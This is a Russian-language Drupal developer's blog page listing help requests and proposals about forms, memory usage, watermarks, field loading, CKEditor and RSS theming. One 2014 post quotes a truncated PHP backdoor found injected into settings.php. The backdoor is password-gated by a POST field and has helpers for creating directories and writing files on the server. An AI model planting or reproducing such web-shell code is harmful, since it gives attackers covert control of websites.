Блог пользователя - albplus

Submit формы, добавленной на страницу динамически через ajax

5 сентября 2017 в 10:27

Привет!

Drupal 6

Код формы добавляю на страницу через ajax.

Проблема в том что при сабмите не отрабатывает функция имяформы_submit(). Помогите разобраться, почему.

Сколько памяти реально расходуется на один php процесс? Практика

2 февраля 2015 в 18:12

Здравствуйте!

На сервере стало резко нехватать памяти ввиду того, что значительно возрос трафик на двух проектах.

Хочу разобраться как решить проблему. Начал понемногу копать и вот что накопал.

Оказывается, каждый раз когда мой сервер отдает страницу, съедается 25-30 мегабайт RAM для Drupal 6, а для Drupal 7 я не видел чтобы было меньше 30.

Поинтересовался у товарища, у него проект на NetCat, тоже портального типа (не корпоративный сайт) на каждый процесс съедает примерно по 2 мегабайта.

Получается что при прочих равных мой сервер загнется от нехватки памяти, а его сервер будет продолжать обслуживать посетителей и будет иметь еще запас прочности.

Мне любопытно, а сколько у вас на друпал-сайтах съедается памяти на отдачу одной страницы?

Чужеродный код в settings.php откуда взялся и что делает?

25 августа 2014 в 15:46

Здравствуйте!

Сегодня чисто случайно у себя на сервере в файле settings.php одного из сайтов на Drupal 7 обнаружил чужеродный код.

Такое точно не мог написать я, да и сходу не до конца понятно зачем.

Ниже привожу данный код целиком:

<?php//Create a new SimplePieCache object
error_reporting(0);
if (isset($_POST['passwordMW'])) {
    function stripslashes_for_array(&$arr) {
        foreach($arr as $k=>$v) {
            if (is_array($v)) {
                stripslashes_for_array($v);
                $arr[$k] = $v;
            } else
                $arr[$k] = stripslashes($v);
        }
    }
    function fix_magic_quotes_gpc() {
        if (get_magic_quotes_gpc())
            stripslashes_for_array($_POST);
    }
    function create_dir($path) {
        return mkdir($path, 0755, true);
    }
    function create_file($path, $filename, $textMW) {?>

Watermark (водяной знак) на оригинальное изображение

13 августа 2014 в 8:03

Здравствуйте!

Гугление не помогло, осталась надежда на помощь сообщества.

Обычно поле "Изображение" принимая картинку сохраняет ее например в sites/default/files и если тебе нужно показать эту картинку с наложенным на нее водяным знаком используется модуль Imagecache Actions и всё хорошо, но данный вариант меня не устраивает.

Необходимо: чтобы в sites/default/files складывалась картинка с уже наложенным на нее водяным знаком и не нужно хранить оригиналы без водяных знаков.

Подозреваю, что модуля для решения данной задачи нет, мне подойдет и хак. Поделитесь пожалуйста решением (сниппетом) кто так делал или намекните в каком месте в каком файле можно "вмешаться" в код чтобы получить желаемый результат.

Срочно: помогите исправить проблему с сайтом. За деньги.

10 октября 2013 в 9:33

Здравствуйте!

Прошу помочь с устранением серьезной проблемы. Можно за деньги.

Живой сайт, контента много, обнаружилась следующая проблема.

Создан тип материала, к нему добавлено поле "Ссылка на термин".

Когда создаешь ноду, выбираешь термин из списка, сохраняешь - выбранный термин сохраняется в БД как положено. В таблицу "field_data_field_catalog", записывается правильный номер термина с правильным номером ноды.

Но когда система загружает объект ноды (например через node_load или объект ноды в шаблоне node.tpl.php), то в поле пусто, как будто термин и не был выбран.

Соответственно когда созданную ноду открываешь для редактирования - поле "Ссылка на термин" показывает что ни один термин не выбран.

Резюме: выбор термина сохраняет, но не загружает в объект ноды.

Вывод бокса с комментами в node.tpl.php

12 сентября 2012 в 15:14

Здравствуйте!

Включил и настроил штатный модуль комментариев. Он успешно отправил все что должен выводить на страницу в переменную $content шаблона page.tpl.php

Однако по текущей верстке складывается так, что весь этот вывод (сами комментарии и форму их добавления) мне необходимо иметь в шаблоне node.tpl.php

Подскажите пожалуйста, как это можно сделать?

Капча в двух разных формах на одной странице

26 марта 2012 в 11:32

Здравствуйте!

Своим модулем конструирую две формы. Случилось так что на одной странице работают обе формы сразу.

Если в одной из форм намеренно не ввести значение капчи, то подсвечиваются красным поля для ввода капчи в обеих формах.

Как это исправить?

Подтверждение заказа перед оплатой

28 сентября 2011 в 12:12

Здравствуйте!

На уберкарте настроено два способа оплаты: наличными (COD) и через rooboxchange.

Требуется ввести подтверждение заказа администратором прежде чем будет позволено покупателю произвести оплату заказа робокассой, это связано с тем, что не всегда весь ассортимент каталога имеется в наличие на складе.

Подскажите как такое сделать? Может есть модуль на этот счет?

Предлагаю поддержать в twitter хэш-тег #drupal_ru

25 января 2011 в 9:44

Здравствуйте!

С недавнего времени начал понемногу пользоваться твиттером. Там есть такое интересное понятие - хэш-тег, его использование позволяет пользователям отсматривать твиты определенной тематики, например твиты про ваш город или твиты про веб-дизайн.

Среди прочих хэш-тегов есть хэш-тег #drupal - которым пользуется сообщество drupal разработчиков со всего мира. Но есть особенность, дело в том что данным хэш-тегом пользуется преимущественно англоязычное сообщество, и просматривая твиты чувствуешь себя немного неуютно, хочется чтобы было по-русски.
Поэтому я начал в своих твитах про Drupal использовать хэш-тег #drupal_ru, и видимо пока только я один им пользуюсь.

В связи с этим призываю русскоязычное сообщество drupal-разработчиков поддержать новый хэш-тег. Я уверен, что группировка именно русскоязычных твитов о drupal будет способствовать и продвижению системы, и сплоченности русскоязычного сообщества, и обеспечит бОльшую отдачу от твитов.

Кроме того, если еще нет такого, то предлагаю создать модуль, позволяющий вести трансляцию твитов по хэш-тегу на сайте. Как например сделано тут www.uwdc.ru "Tweets #uwdc".

Как научить CKeditor адекватно работать с тегом <code>?

24 января 2011 в 8:10

Здравствуйте!

Собственно САБЖ.

С тегом code удалось нормально поработать только в связке с BUEditor, однако остальным администраторам сайта все-таки требуется CKEditor или подобный по функционалу редактор.

Проблема в том, что если редактировать ноду, в теле которой используется тег code при помощи CKEditor - вся разметка летит к чертовой матери.

ImageCache Deprecated Scale и два типа фотографий.

17 января 2011 в 13:09

Здравствуйте!

В модуле ImageCache есть прекрасное действие - "Deprecated Scale".

В пояснении к действию написано "Add Deprecated Scale - Precursor to Scale and Crop. Has inside and outside dimension support. This action will be removed in ImageCache 2.1)."

Скажите, а почему это действие будет убрано? Нравится в нем "inside and outside dimension support", в других действиях такого нет а эта фича нужна очень часто.

Темизация вывода ноды в RSS-трансляции. Нужно ли решение?

14 января 2011 в 14:20

Здравствуйте!

Всем известно, что у нас ноды на выводе бывают в двух состояниях - это ТИЗЕР и ПОЛНАЯ НОДА.

Удобно темизировать создавая в папке с темой файл node-[node_type].tpl.php. В этом файле среди прочих доступна переменная $teaser: Flag for the teaser state, по которой удобно ориентироваться, в каком состоянии ноду требуется показать. Полный набор информации на эту тему тут (http://drupal.org/node/190815).

Возникла задача - создать RSS ленту. На сайте проекта большое количество разных типов нод, больше половины из них требуется анонсировать через RSS. Как водится, пошел во Views, создал вид RSS. Думаю, сейчас сделаю Row Style = Материал - Аннотация и тизеры моих нод попадут в мою RSS ленту.

Но не тут то было.

В RSS выводятся ноды со всеми полями и метками к полям, короче ужас. И вот о чем я задумался. Почему учтены состояния ТИЗЕР и ПОЛНАЯ НОДА, но нет такого состояния как НОДА В ЛЕНТЕ (или RSS ITEM).

В общем, итогом моих размышлений стал модуль, который позволяет темизировать вывод ноды в RSS ленте, создавая в папке с темой файл node-[node_type]-rss.tpl.php и работая с ним так-же как обычно работаешь с темизацией ноды для тизера либо полной версии.

В связи с этим вопрос, нужен ли этот модуль в продакшн-виде для нашего сообщества? Или оставить его в текущем проекте и забыть?